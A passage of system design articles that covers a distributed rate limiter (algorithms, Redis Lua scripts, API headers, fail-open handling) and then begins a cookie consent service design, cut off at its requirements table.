| Time complexity  | O(1) per request                                 |
| Space complexity | O(1) per key (queue depth + last_leak_timestamp) |
| Accuracy         | Exact                                            |
| Burst behavior   | No bursts—output is constant rate                |

**Who uses it:** NGINX (`limit_req` module uses leaky bucket), HAProxy.

### Fixed Window Counter

**How it works:** Divide time into fixed windows (e.g., 1-minute intervals). Maintain a counter per key per window. Increment on each request. Reject when counter exceeds limit.

**The boundary burst problem:** A user can send the full limit at the end of window N and again at the start of window N+1, effectively doubling their rate in a short period. For a 100 req/min limit, a user could send 200 requests in a 2-second span straddling the window boundary.

| Aspect           | Value                         |
| ---------------- | ----------------------------- |
| Time complexity  | O(1) per request              |
| Space complexity | O(1) per key (single counter) |
| Accuracy         | Inexact at window boundaries  |
| Burst behavior   | Up to 2x limit at boundary    |

**Implementation advantage:** Trivially implemented with Redis `INCR` + `EXPIRE`—both operations are atomic, no Lua scripting needed.

### Sliding Window Log

**How it works:** Store the timestamp of every request in a sorted set. On each new request, remove entries older than the window, count remaining entries. If count exceeds limit, reject.

**The memory problem:** At 500 requests/day per user across 10K users, this stores 5M timestamps in Redis. Figma estimated ~20 MB for this scenario alone, making it impractical at scale.

| Aspect           | Value                                                          |
| ---------------- | -------------------------------------------------------------- |
| Time complexity  | O(n) worst case (removing expired entries), amortized O(log n) |
| Space complexity | O(n) per key (one entry per request within window)             |
| Accuracy         | Exact—no boundary artifacts                                    |
| Burst behavior   | Exact enforcement, no boundary issues                          |

### Sliding Window Counter (Chosen)

**How it works:** Combines fixed window counters with weighted interpolation. Maintain counters for the current window and the previous window. The effective count is:

$$
\text{rate} = \text{prev\_count} \times \frac{\text{window\_size} - \text{elapsed}}{\text{window\_size}} + \text{current\_count}
$$

This approximation smooths the boundary burst problem while maintaining O(1) memory.

**Figma's variant (2017):** Instead of two large windows, use many small sub-windows (1/60th of the rate limit window). For an hourly limit, increment per-minute counters and sum the last 60. This reduces approximation error further.

| Aspect           | Value                                                       |
| ---------------- | ----------------------------------------------------------- |
| Time complexity  | O(1) per request                                            |
| Space complexity | O(1) per key (two counters) or O(k) for k sub-windows       |
| Accuracy         | ~0.003% error (Cloudflare measurement across 400M requests) |
| Burst behavior   | Smoothed—no boundary doubling                               |

**Why this algorithm:** The sliding window counter is the best trade-off for a distributed rate limiter. It eliminates the boundary burst problem of fixed windows, uses constant memory (unlike sliding window log), and Cloudflare's production measurement of 0.003% error across 400M requests validates its accuracy at scale.

### Algorithm Comparison

| Algorithm                  | Memory per key        | Accuracy            | Burst handling     | Distributed complexity | Best for                  |
| -------------------------- | --------------------- | ------------------- | ------------------ | ---------------------- | ------------------------- |
| Token bucket               | O(1) — 2 values       | Exact (single node) | Configurable burst | Lua script needed      | Burst-tolerant APIs       |
| Leaky bucket               | O(1) — 2 values       | Exact               | No bursts (smooth) | Lua script needed      | Traffic shaping           |
| Fixed window               | O(1) — 1 counter      | Boundary artifacts  | 2x at boundary     | Atomic INCR            | Simple, high-scale        |
| Sliding window log         | O(n) — all timestamps | Exact               | Exact              | Sorted set ops         | Low-volume, exact billing |
| **Sliding window counter** | **O(1) — 2 counters** | **~99.997%**        | **Smoothed**       | **Atomic INCR**        | **General-purpose**       |

## High-Level Design

### Component Overview

![Diagram](./diagram-4.svg)

### Request Flow

![Diagram](./diagram-5.svg)

**When rate limited:**

![Diagram](./diagram-6.svg)

### Rate Limit Service (Decision Engine)

The core component. Stateless—all state lives in Redis and configuration.

**Decision flow per request:**

1. Receive descriptors from gateway (domain, API key, endpoint, IP)
2. Match descriptors against rule configuration
3. For each matching rule, execute sliding window counter check in Redis
4. Return the most restrictive result (if any rule says deny, deny)
5. Emit metrics (allowed/denied, remaining quota, latency)

**Design decisions:**

| Decision        | Choice                                              | Rationale                                                                 |
| --------------- | --------------------------------------------------- | ------------------------------------------------------------------------- |
| Protocol        | gRPC (Envoy `rls.proto`)                            | Low overhead, schema-enforced, streaming support, ecosystem compatibility |
| Statefulness    | Stateless (counters in Redis, rules in config)      | Horizontal scaling without coordination between instances                 |
| Rule evaluation | All matching rules evaluated, most restrictive wins | Prevents circumventing a per-endpoint limit via a generous per-user limit |
| Failure mode    | Fail-open (return ALLOW on any error)               | Stripe's approach: catch exceptions at all levels so errors fail open     |

### Rule Configuration

Rules are defined in YAML, loaded at startup, and hot-reloaded on change. This follows Envoy's `ratelimit` service pattern.

```yaml title="rate-limit-rules.yaml" collapse={1-2}
# Rate limit configuration
# Domain groups related rules; descriptors match request attributes

domain: api_platform
descriptors:
  # Per-API-key rate limit (tiered)
  - key: api_key
    rate_limit:
      unit: minute
      requests_per_unit: 100 # Default (free tier)
    descriptors:
      # Per-endpoint within API key
      - key: endpoint
        value: "POST /api/v1/orders"
        rate_limit:
          unit: minute
          requests_per_unit: 20 # Write-heavy endpoint, lower limit

  # Per-IP rate limit (unauthenticated)
  - key: remote_address
    rate_limit:
      unit: minute
      requests_per_unit: 30

  # Global aggregate limit (protect backend)
  - key: global
    value: "aggregate"
    rate_limit:
      unit: second
      requests_per_unit: 10000
```

**Shadow mode:** Rules can be deployed in shadow mode where the check executes (updating counters, emitting metrics) but always returns ALLOW. This enables safe rollout—observe the impact of new rules before enforcement.

## API Design

### Rate Limit Check (Internal gRPC)

**Service:** `envoy.service.ratelimit.v3.RateLimitService`

**RPC:** `ShouldRateLimit`

**Request:**

```json
{
  "domain": "api_platform",
  "descriptors": [
    {
      "entries": [
        { "key": "api_key", "value": "abc123" },
        { "key": "endpoint", "value": "POST /api/v1/orders" }
      ]
    },
    {
      "entries": [{ "key": "remote_address", "value": "192.168.1.100" }]
    }
  ],
  "hits_addend": 1
}
```

**Response:**

```json
{
  "overall_code": "OVER_LIMIT",
  "statuses": [
    {
      "code": "OK",
      "current_limit": {
        "requests_per_unit": 100,
        "unit": "MINUTE"
      },
      "limit_remaining": 47,
      "duration_until_reset": "42s"
    },
    {
      "code": "OVER_LIMIT",
      "current_limit": {
        "requests_per_unit": 20,
        "unit": "MINUTE"
      },
      "limit_remaining": 0,
      "duration_until_reset": "42s"
    }
  ]
}
```

### Rate Limit Response Headers

The gateway translates the rate limit decision into HTTP headers. Two standards coexist:

**Legacy (widely adopted):**

```http
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 47
X-RateLimit-Reset: 1706000060
```

**IETF Standard (draft-ietf-httpapi-ratelimit-headers):**

```http
RateLimit-Policy: "default";q=100;w=60, "writes";q=20;w=60
RateLimit: "writes";r=0;t=42
Retry-After: 42
```

The IETF `RateLimit` header uses Structured Fields (RFC 8941) with parameters:

- `q`: quota allocated (requests per window)
- `w`: window size in seconds
- `r`: remaining requests
- `t`: seconds until reset

**429 response (RFC 6585):**

```http
HTTP/1.1 429 Too Many Requests
Content-Type: application/json
Retry-After: 42
RateLimit-Policy: "writes";q=20;w=60
RateLimit: "writes";r=0;t=42

{
  "error": {
    "code": "RATE_LIMITED",
    "message": "Rate limit exceeded for POST /api/v1/orders. Retry after 42 seconds.",
    "retry_after": 42,
    "limit": 20,
    "window": "1m",
    "scope": "api_key:abc123:endpoint:POST /api/v1/orders"
  }
}
```

### Quota Management API (Admin)

**Create/Update Quota Override:**

**Endpoint:** `PUT /admin/v1/quotas/{api_key}`

```json
{
  "tier": "enterprise",
  "overrides": [
    {
      "descriptor": "endpoint:POST /api/v1/orders",
      "requests_per_unit": 500,
      "unit": "minute"
    }
  ],
  "effective_at": "2025-02-01T00:00:00Z",
  "expires_at": null
}
```

**Response (200 OK):**

```json
{
  "api_key": "abc123",
  "tier": "enterprise",
  "quotas": {
    "default": { "requests_per_unit": 5000, "unit": "minute" },
    "overrides": [
      {
        "descriptor": "endpoint:POST /api/v1/orders",
        "requests_per_unit": 500,
        "unit": "minute"
      }
    ]
  },
  "updated_at": "2025-01-15T10:30:00Z"
}
```

**Get Current Usage:**

**Endpoint:** `GET /admin/v1/usage/{api_key}`

```json
{
  "api_key": "abc123",
  "current_window": {
    "start": "2025-01-15T10:30:00Z",
    "end": "2025-01-15T10:31:00Z"
  },
  "usage": {
    "default": { "used": 53, "limit": 5000, "remaining": 4947 },
    "endpoint:POST /api/v1/orders": { "used": 18, "limit": 500, "remaining": 482 }
  }
}
```

## Data Modeling

### Redis Key Structure

**Sliding window counter keys:**

```
ratelimit:{domain}:{descriptor_hash}:{window_id}
```

**Example:**

```
ratelimit:api_platform:api_key=abc123:endpoint=POST_orders:1706000040
ratelimit:api_platform:api_key=abc123:endpoint=POST_orders:1706000000
```

- `1706000040` = Unix timestamp truncated to current window start
- `1706000000` = previous window start
- Key TTL = 2 × window_size (auto-cleanup of expired windows)

**Sliding window counter with sub-windows (Figma variant):**

```
ratelimit:api_platform:api_key=abc123:min:28433334
ratelimit:api_platform:api_key=abc123:min:28433335
```

Where `28433334` = Unix minutes (`timestamp / 60`). For a 1-hour limit, sum the last 60 minute-buckets.

### Quota Overrides Schema

**Primary store:** PostgreSQL (ACID for quota management, admin queries)

```sql title="schema.sql" collapse={1-2}
-- Tenant quota overrides
-- Base tier limits are in YAML config; overrides are per-tenant exceptions

CREATE TABLE quota_overrides (
    id              UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    api_key         VARCHAR(64) NOT NULL,
    tier            VARCHAR(20) NOT NULL DEFAULT 'free'
                    CHECK (tier IN ('free', 'pro', 'enterprise', 'custom')),
    descriptor      VARCHAR(256) NOT NULL,        -- e.g., "endpoint:POST /api/v1/orders"
    requests_per_unit INT NOT NULL,
    unit            VARCHAR(10) NOT NULL
                    CHECK (unit IN ('second', 'minute', 'hour', 'day')),
    effective_at    TIMESTAMPTZ DEFAULT NOW(),
    expires_at      TIMESTAMPTZ,                  -- NULL = no expiration
    created_at      TIMESTAMPTZ DEFAULT NOW(),
    updated_at      TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE(api_key, descriptor)
);

-- Fast lookup by API key
CREATE INDEX idx_quota_api_key ON quota_overrides(api_key)
    WHERE expires_at IS NULL OR expires_at > NOW();

-- Tier-level queries (admin dashboard)
CREATE INDEX idx_quota_tier ON quota_overrides(tier);
```

### Data Store Selection

| Data Type           | Store                          | Rationale                                               |
| ------------------- | ------------------------------ | ------------------------------------------------------- |
| Rate limit counters | Redis Cluster                  | Atomic increments, sub-ms latency, TTL-based expiration |
| Rule configuration  | YAML files (mounted volume)    | Version-controlled, no DB dependency, hot-reloadable    |
| Quota overrides     | PostgreSQL                     | ACID for billing-critical quota changes, admin queries  |
| Quota cache         | In-memory (rate limit service) | Avoids DB lookup per request; refresh every 30s         |
| Metrics             | Prometheus TSDB                | Time-series optimized, Grafana integration              |
| Audit log           | Append-only log (Kafka → S3)   | Compliance, debugging quota disputes                    |

## Low-Level Design

### Sliding Window Counter in Redis (Lua Script)

The core algorithm, implemented as a Lua script for atomicity. Redis executes Lua scripts in a single-threaded context—no other commands interleave during execution.

```lua title="sliding_window.lua" collapse={1-3, 28-30}
-- Sliding window counter rate limiter
-- Atomic: no race conditions between check and increment
-- Returns: {allowed (0/1), remaining, reset_at_unix}

local key_prefix = KEYS[1]           -- e.g., "ratelimit:api_platform:api_key=abc123"
local limit = tonumber(ARGV[1])      -- e.g., 100
local window = tonumber(ARGV[2])     -- e.g., 60 (seconds)
local now = tonumber(ARGV[3])        -- Current Unix timestamp

-- Compute window boundaries
local current_window = math.floor(now / window) * window
local previous_window = current_window - window
local elapsed = now - current_window

-- Keys for current and previous windows
local current_key = key_prefix .. ":" .. current_window
local previous_key = key_prefix .. ":" .. previous_window

-- Get counts (returns 0 if key doesn't exist)
local previous_count = tonumber(redis.call("GET", previous_key) or 0)
local current_count = tonumber(redis.call("GET", current_key) or 0)

-- Weighted count: previous window's contribution decreases linearly
local weight = (window - elapsed) / window
local estimated_count = previous_count * weight + current_count

if estimated_count >= limit then
    -- Over limit: return deny with remaining=0
    local reset_at = current_window + window
    return {0, 0, reset_at}
end

-- Under limit: increment current window and allow
redis.call("INCR", current_key)
redis.call("EXPIRE", current_key, window * 2)  -- TTL = 2x window for overlap

local remaining = math.max(0, math.floor(limit - estimated_count - 1))
local reset_at = current_window + window

return {1, remaining, reset_at}
```

**Why Lua over Redis transactions (MULTI/EXEC):** The sliding window check requires reading the previous window's count to compute the weighted estimate, then conditionally incrementing the current window. Redis transactions cannot use a read result to make a conditional write—they batch commands blindly. Lua scripts can read, compute, and write in a single atomic operation.

**Redis Cluster consideration:** Both `current_key` and `previous_key` must hash to the same slot. Use Redis hash tags: `{api_key=abc123}:1706000040` and `{api_key=abc123}:1706000000`. The `{...}` portion determines the hash slot, ensuring both keys land on the same shard.

### Token Bucket in Redis (Lua Script)

For APIs requiring configurable burst allowance, a token bucket variant:

```lua title="token_bucket.lua" collapse={1-3, 25-27}
-- Token bucket rate limiter with lazy refill
-- Parameters: bucket_size (burst), refill_rate (tokens/sec)
-- Returns: {allowed (0/1), remaining_tokens, retry_after_ms}

local key = KEYS[1]
local bucket_size = tonumber(ARGV[1])    -- Max burst
local refill_rate = tonumber(ARGV[2])    -- Tokens per second
local now = tonumber(ARGV[3])            -- Current time in milliseconds

-- Get current state
local state = redis.call("HMGET", key, "tokens", "last_refill")
local tokens = tonumber(state[1])
local last_refill = tonumber(state[2])

if tokens == nil then
    -- First request: initialize full bucket
    tokens = bucket_size
    last_refill = now
end

-- Lazy refill: compute tokens earned since last check
local elapsed_ms = now - last_refill
local new_tokens = elapsed_ms * refill_rate / 1000
tokens = math.min(bucket_size, tokens + new_tokens)

if tokens < 1 then
    -- Empty bucket: compute retry delay
    local deficit = 1 - tokens
    local retry_after_ms = math.ceil(deficit / refill_rate * 1000)
    return {0, 0, retry_after_ms}
end

-- Consume one token
tokens = tokens - 1
redis.call("HMSET", key, "tokens", tokens, "last_refill", now)
redis.call("PEXPIRE", key, math.ceil(bucket_size / refill_rate * 1000) + 1000)

return {1, math.floor(tokens), 0}
```

### Multi-Tier Quota Resolution

When a request arrives, multiple rules may match. Resolution follows a hierarchical evaluation:

![Diagram](./diagram-7.svg)

**Rule precedence:** All matching rules are evaluated. The most restrictive (lowest remaining quota) determines the response. This prevents a user from bypassing a 20 req/min write limit by pointing to their 5000 req/min general limit.

**Tier resolution order:**

1. Check for per-key quota override in cache (PostgreSQL-backed)
2. Fall back to tier-level defaults from YAML config
3. Apply per-endpoint overrides if they exist

### Concurrent Request Limiting

Stripe's approach: in addition to rate-based limits, cap the number of simultaneously in-flight requests per API key. This catches pathological patterns (slow endpoints consuming all connection pool slots) that rate limiting alone misses.

**Implementation:** Use a Redis sorted set where the score is the request start timestamp and the member is a unique request ID. On request start, `ZADD`. On request completion (or timeout), `ZREM`. Check the set cardinality against the concurrent limit.

```lua title="concurrent_limiter.lua"
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local request_id = ARGV[2]
local now = tonumber(ARGV[3])
local timeout = tonumber(ARGV[4])  -- e.g., 60 seconds

-- Remove stale entries (requests that didn't clean up)
redis.call("ZREMRANGEBYSCORE", key, 0, now - timeout)

-- Check current in-flight count
local current = redis.call("ZCARD", key)
if current >= limit then
    return {0, 0}
end

-- Register this request
redis.call("ZADD", key, now, request_id)
redis.call("EXPIRE", key, timeout)

return {1, limit - current - 1}
```

### Failure Handling and Graceful Degradation

**What happens when Redis is down?**

The rate limiter is on the critical path of every API request. A Redis failure must not become an API outage.

**Strategy: Fail-open with circuit breaker**

![Diagram](./diagram-8.svg)

**Stripe's fail-open principle:** Catch exceptions at all levels so that any coding or operational errors fail open. Feature flags enable rapid disabling of individual limiters. Clear HTTP status codes distinguish rate limiting (429) from load shedding (503).

**Degradation hierarchy:**

1. **Redis cluster partial failure** (1 shard down): Rate limiting continues on other shards. Keys hashed to the down shard fail open.
2. **Redis cluster full failure:** Circuit breaker opens. All requests are allowed. Alert fires.
3. **Rate limit service crash:** API gateway skips rate check (configurable behavior). Alert fires.
4. **Configuration load failure:** Service continues with last-known-good config. Alert fires.

**Monitoring during degradation:**

- `ratelimit_redis_errors_total` — triggers circuit breaker
- `ratelimit_failopen_total` — tracks how many requests bypassed rate limiting
- `ratelimit_circuit_state` — current circuit breaker state per shard

## Frontend Considerations

### Rate Limit Dashboard

**Problem:** Operations teams need real-time visibility into rate limit decisions, top offenders, and quota utilization across tenants.

**Architecture:**

- Prometheus scrapes metrics from all rate limit service instances
- Grafana dashboards show aggregate decisions/sec, top-10 rate-limited keys, quota utilization by tier
- AlertManager fires on anomalies (sudden spike in 429s, circuit breaker open)

**Key dashboard panels:**

| Panel                         | Data Source                        | Purpose           |
| ----------------------------- | ---------------------------------- | ----------------- |
| Decisions/sec (allow vs deny) | `ratelimit_decisions_total`        | Traffic health    |
| Top 10 rate-limited keys      | `ratelimit_denied_total` by key    | Identify abusers  |
| Quota utilization by tier     | `ratelimit_remaining`              | Capacity planning |
| p99 decision latency          | `ratelimit_check_duration_seconds` | SLA monitoring    |
| Circuit breaker state         | `ratelimit_circuit_state`          | Failure detection |

### Client-Side Rate Limit Handling

For API consumers building integrations, the rate limit headers enable client-side backoff:

**Recommended client pattern:**

```typescript title="rate-limit-client.ts" collapse={1-3, 25-35}
// Client-side rate limit handler
// Reads standard headers and implements exponential backoff

interface RateLimitInfo {
  limit: number
  remaining: number
  resetAt: Date
  retryAfter: number | null
}

function parseRateLimitHeaders(headers: Headers): RateLimitInfo {
  return {
    limit: parseInt(headers.get("X-RateLimit-Limit") ?? "0"),
    remaining: parseInt(headers.get("X-RateLimit-Remaining") ?? "0"),
    resetAt: new Date(parseInt(headers.get("X-RateLimit-Reset") ?? "0") * 1000),
    retryAfter: headers.has("Retry-After") ? parseInt(headers.get("Retry-After")!) : null,
  }
}

async function fetchWithRateLimit(url: string, options?: RequestInit): Promise<Response> {
  const response = await fetch(url, options)

  if (response.status === 429) {
    const info = parseRateLimitHeaders(response.headers)
    const delay = info.retryAfter ? info.retryAfter * 1000 : Math.min(60000, 1000 * Math.pow(2, retryCount))

    await sleep(delay)
    return fetchWithRateLimit(url, options) // Retry
  }

  return response
}
```

**Pre-emptive throttling:** Clients can read `X-RateLimit-Remaining` and proactively slow down before hitting the limit, avoiding 429s entirely. This is particularly valuable for batch operations.

## Infrastructure Design

### Cloud-Agnostic Architecture

#### Counting Store

**Concept:** Low-latency key-value store for atomic counter operations

**Requirements:**

- Sub-millisecond reads and writes
- Atomic increment operations
- TTL-based key expiration
- Lua/scripting support for complex atomic operations
- Cluster mode for horizontal scaling

**Options:**

- Redis Cluster — Rich scripting, sorted sets, hash types. Industry standard for rate limiting.
- KeyDB — Redis-compatible, multi-threaded. Drop-in replacement with better multi-core utilization.
- DragonflyDB — Redis-compatible, vertically scaled. Higher single-node throughput than Redis.
- Memcached — Simpler, atomic increment, but no scripting or sorted sets.

#### Service Framework

**Concept:** Stateless gRPC service for rate limit decisions

**Options:**

- Go (Envoy's reference implementation) — Low latency, efficient concurrency, gRPC-native
- Rust — Lowest latency, highest throughput, steeper learning curve
- Java/Kotlin — Familiar ecosystem, slightly higher latency from GC

#### Configuration Management

**Concept:** Declarative rule storage with hot reload

**Options:**

- Filesystem (YAML/JSON) + file watcher — Simplest, version-controlled via Git
- etcd / Consul — Distributed consensus, immediate propagation
- PostgreSQL — Relational queries for complex rule management

### AWS Reference Architecture

#### Compute

| Component            | Service            | Configuration                               |
| -------------------- | ------------------ | ------------------------------------------- |
| Rate limit service   | ECS Fargate        | Auto-scaling 3-20 tasks, 1 vCPU / 2 GB each |
| API Gateway nodes    | ECS Fargate / EKS  | Co-located with application services        |
| Quota management API | ECS Fargate        | 2-4 tasks (low traffic admin API)           |
| Config sync          | Lambda (scheduled) | Pull config from S3, validate, deploy       |

#### Data Stores

| Data                | Service                   | Rationale                                           |
| ------------------- | ------------------------- | --------------------------------------------------- |
| Rate limit counters | ElastiCache Redis Cluster | Sub-ms latency, cluster mode, Multi-AZ              |
| Quota overrides     | RDS PostgreSQL (Multi-AZ) | ACID, managed backups, admin queries                |
| Rule configuration  | S3 + EFS mount            | Version-controlled, mounted into service containers |
| Metrics             | Amazon Managed Prometheus | Managed TSDB, Grafana integration                   |
| Audit logs          | Kinesis → S3              | Streaming ingest, long-term archival                |

#### Self-Hosted Alternatives

| Managed Service    | Self-Hosted Option   | When to self-host                            |
| ------------------ | -------------------- | -------------------------------------------- |
| ElastiCache Redis  | Redis Cluster on EC2 | Cost at scale, specific modules (redis-cell) |
| RDS PostgreSQL     | PostgreSQL on EC2    | Specific extensions, cost optimization       |
| ECS Fargate        | Kubernetes (EKS/k3s) | Existing K8s infrastructure, multi-cloud     |
| Managed Prometheus | Victoria Metrics     | Cost at high cardinality, long retention     |

### Production Deployment

![Diagram](./diagram-9.svg)

## Variations

### Load Shedding (Beyond Rate Limiting)

Stripe operates four layers of traffic management, each progressively more aggressive:

1. **Request rate limiter** — Standard per-user rate limiting (token bucket). Handles millions of rejections monthly.
2. **Concurrent request limiter** — Caps in-flight requests to 20 per user. Catches retry storms from slow endpoints.
3. **Fleet usage load shedder** — Reserves capacity for critical operations (e.g., charge creation) by shedding non-critical traffic (e.g., listing charges) during system strain. Returns 503, not 429.
4. **Worker utilization load shedder** — Last resort. When individual workers are overloaded, shed traffic by priority: test mode first, then GETs, then POSTs, then critical methods. Rarely triggered (~100 rejections/month).

The distinction matters: rate limiting (429) protects per-user fairness. Load shedding (503) protects system survival.

### Edge Rate Limiting (Cloudflare Model)

Cloudflare's architecture avoids centralized coordination entirely:

- **Anycast routing** ensures a single IP's traffic reaches the same PoP consistently
- **Per-PoP counters** using Twemproxy + memcache clusters within each PoP
- **Sliding window counter** with asynchronous increments (counting doesn't block the request)
- **Mitigation bit propagation:** Once a source exceeds the threshold, a flag is set. All servers in the PoP check this flag—no further counter queries needed during active mitigation.

**Result:** 0.003% error rate across 400M requests, handling attacks up to 400K RPS per domain.

### GCRA (Generic Cell Rate Algorithm)

A mathematically elegant alternative used by the `redis-cell` Redis module. Instead of tracking counters, GCRA tracks a single value: the TAT (Theoretical Arrival Time)—the earliest time the next request should arrive.

**How it differs from token bucket:** Functionally equivalent, but stores only one value per key (TAT) instead of two (tokens + last_refill). The `redis-cell` module implements GCRA as a native Redis command (`CL.THROTTLE`) with atomic semantics, eliminating the need for Lua scripts.

**Trade-off:** Requires installing a Redis module, which may not be available in managed Redis services (ElastiCache supports limited module sets).

## Conclusion

The rate limiter design centers on three decisions that cascade through the architecture:

1. **Sliding window counter algorithm** provides the best accuracy-to-memory trade-off for distributed rate limiting. Cloudflare's production measurement (0.003% error across 400M requests) validates that the approximation is accurate enough for real-world enforcement, while using O(1) memory per key eliminates the scaling problem of exact approaches like sliding window log.

2. **Centralized Redis with Lua scripts** ensures globally consistent counts across all API gateway nodes without per-node coordination. The Lua script atomically reads the previous window's count, computes the weighted estimate, and conditionally increments—a sequence that cannot be expressed with Redis transactions alone. Hash tags ensure multi-key operations land on the same shard.

3. **Fail-open with circuit breaker** makes the rate limiter self-healing. A Redis outage opens the circuit (allowing all traffic), and probe requests automatically close it when Redis recovers. This follows Stripe's principle: a rate limiter failure must never become an API outage.

**What this design sacrifices:**

- Sliding window counter is an approximation—for exact billing-grade counting, sliding window log is more precise (at O(n) memory cost)
- Centralized Redis adds 1-5ms per request vs. in-process local rate limiting
- Fail-open means short periods of unenforced rate limits during Redis failures

**Future improvements worth considering:**

- Hybrid local + global counting for latency-sensitive paths (Path C)
- Machine learning-based anomaly detection for adaptive rate limits
- Per-tenant Redis clusters for isolation at extreme scale (noisy neighbor elimination)
- Integration with billing systems for real-time quota adjustment based on usage patterns

## Appendix

### Prerequisites

- Distributed systems concepts (consistency models, CAP trade-offs)
- Redis data structures (strings, sorted sets, hashes) and Lua scripting
- HTTP semantics (status codes, headers, caching)
- API gateway patterns (reverse proxy, middleware chains)

### Terminology

| Term                   | Definition                                                                                                                   |
| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| Token bucket           | Rate limiting algorithm where tokens are added at a fixed rate and consumed per request; allows bursts up to bucket capacity |
| Leaky bucket           | Traffic shaping algorithm that processes requests at a constant output rate, smoothing bursts                                |
| GCRA                   | Generic Cell Rate Algorithm—mathematically equivalent to token bucket, tracks a single Theoretical Arrival Time (TAT) value  |
| Sliding window counter | Approximation algorithm using weighted interpolation between two fixed window counters to eliminate boundary burst artifacts |
| Fail-open              | Failure mode where the rate limiter allows all traffic when its backing store is unavailable                                 |
| Circuit breaker        | Pattern that detects failures and temporarily bypasses a failing dependency, with automatic recovery probes                  |
| Descriptor             | Key-value pair identifying a rate limit dimension (e.g., `api_key=abc123`, `endpoint=POST /orders`)                          |
| Shadow mode            | Deployment mode where rate limit rules execute (update counters, emit metrics) but always return ALLOW                       |
| PoP                    | Point of Presence—a geographic location where edge servers process traffic                                                   |
| TAT                    | Theoretical Arrival Time—the core tracking value in GCRA; represents the earliest acceptable time for the next request       |

### Summary

- **Sliding window counter** is the optimal algorithm for distributed rate limiting: O(1) memory, ~99.997% accuracy (Cloudflare-validated), no boundary burst artifacts.
- **Redis Cluster with Lua scripts** provides atomic check-and-increment without race conditions. Hash tags ensure multi-key operations are shard-local.
- **Fail-open with circuit breaker** prevents rate limiter failures from cascading into API outages. Shadow mode enables safe rollout of new rules.
- **Hierarchical rule evaluation** (global → tier → endpoint → concurrent) prevents circumventing narrow limits via broader ones.
- **IETF `RateLimit`/`RateLimit-Policy` headers** (structured fields) are replacing legacy `X-RateLimit-*` headers for standards-based client communication.
- **Stripe's four-layer model** (rate limit → concurrent limit → fleet load shed → worker load shed) distinguishes per-user fairness (429) from system survival (503).

### References

- [RFC 6585 — Additional HTTP Status Codes](https://datatracker.ietf.org/doc/html/rfc6585) — Defines 429 Too Many Requests; Section 4
- [IETF draft-ietf-httpapi-ratelimit-headers](https://ietf-wg-httpapi.github.io/ratelimit-headers/draft-ietf-httpapi-ratelimit-headers.html) — Standardized `RateLimit` and `RateLimit-Policy` header fields
- [ITU-T Recommendation I.371](https://www.itu.int/rec/T-REC-I.371) — GCRA specification for ATM traffic management (1993)
- [Stripe — Scaling your API with rate limiters](https://stripe.com/blog/rate-limiters) — Four-layer approach: request rate, concurrent, fleet load shed, worker load shed
- [Cloudflare — How we built rate limiting capable of scaling to millions of domains](https://blog.cloudflare.com/counting-things-a-lot-of-different-things/) — Sliding window counter at edge, 0.003% error rate
- [Figma — An alternative approach to rate limiting](https://www.figma.com/blog/an-alternative-approach-to-rate-limiting/) — Sliding window counter variant with sub-window buckets (2017)
- [Envoy Proxy — Global rate limiting](https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/other_features/global_rate_limiting) — Architecture overview for centralized rate limiting
- [envoyproxy/ratelimit](https://github.com/envoyproxy/ratelimit) — Go/gRPC reference implementation with Redis backend
- [Brandur — Rate limiting](https://brandur.org/rate-limiting) — GCRA explanation and comparison with token bucket
- [AWS Builders' Library — Fairness in multi-tenant systems](https://aws.amazon.com/builders-library/fairness-in-multi-tenant-systems/) — Quota-based admission control and noisy neighbor prevention
- [GitHub REST API — Rate limits](https://docs.github.com/en/rest/using-the-rest-api/rate-limits-for-the-rest-api) — Tiered rate limiting: 60/hr unauthenticated, 5000/hr authenticated, secondary limits
- [Token Bucket — Wikipedia](https://en.wikipedia.org/wiki/Token_bucket) — Algorithm overview and formal properties

---

## Design a Cookie Consent Service

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-cookie-consent-service
**Category:** System Design / System Design Problems
**Description:** Building a multi-tenant consent management platform that handles regulatory compliance (GDPR, CCPA, LGPD) at scale. Cookie consent services face unique challenges: read-heavy traffic patterns (every page load queries consent status), strict latency requirements (consent checks block page rendering), regulatory complexity across jurisdictions, and the need to merge anonymous visitor consent with authenticated user profiles. This design covers edge-cached consent delivery, anonymous-to-authenticated identity migration, and a multi-tenant architecture serving thousands of websites.

# Design a Cookie Consent Service

Building a multi-tenant consent management platform that handles regulatory compliance (GDPR, CCPA, LGPD) at scale. Cookie consent services face unique challenges: read-heavy traffic patterns (every page load queries consent status), strict latency requirements (consent checks block page rendering), regulatory complexity across jurisdictions, and the need to merge anonymous visitor consent with authenticated user profiles. This design covers edge-cached consent delivery, anonymous-to-authenticated identity migration, and a multi-tenant architecture serving thousands of websites.

<figure>

![Cookie consent service architecture: Edge-cached SDK for sub-50ms consent checks, read replicas for global distribution, immutable audit log for regulatory compliance, multi-tenant configuration per website.](./cookie-consent-service-architecture-edge-cached-sdk-for-sub-50ms-consent-checks-.svg)

<figcaption>Cookie consent service architecture: Edge-cached SDK for sub-50ms consent checks, read replicas for global distribution, immutable audit log for regulatory compliance, multi-tenant configuration per website.</figcaption>
</figure>

## Abstract

Cookie consent design balances three competing forces:

1. **Latency vs. compliance** — Consent checks happen on every page load and block tracking scripts. Sub-50ms response times require edge caching, but regulations demand audit trails and user-specific consent records.

2. **Multi-tenancy vs. isolation** — Thousands of websites share infrastructure, but each has unique privacy policies, cookie categories, and regulatory requirements. Tenant configuration must be cacheable yet instantly updatable.

3. **Anonymous vs. authenticated** — Users browse anonymously before logging in, accumulating consent choices tied to device fingerprints. On authentication, these choices must merge with any existing profile consent without data loss or conflicting states.

The mental model: **edge-cached SDK → regional read replica → primary write path → immutable audit log**. Consent reads never touch the primary database; writes go through a single path with guaranteed auditability.

| Design Decision                   | Tradeoff                                                            |
| --------------------------------- | ------------------------------------------------------------------- |
| Edge-cached consent SDK           | Sub-50ms reads; stale consent possible for up to 60s                |
| Device fingerprint for anonymous  | Tracks consent pre-login; privacy concerns, regulatory gray area    |
| Read replicas per region          | Low latency globally; eventual consistency (acceptable for consent) |
| Immutable audit log               | Regulatory proof; storage costs, query complexity                   |
| Tenant-specific cookie categories | Flexible compliance; configuration explosion                        |

## Requirements

### Functional Requirements

| Feature                              | Scope    | Notes                                                               |
| ------------------------------------ | -------- | ------------------------------------------------------------------- |
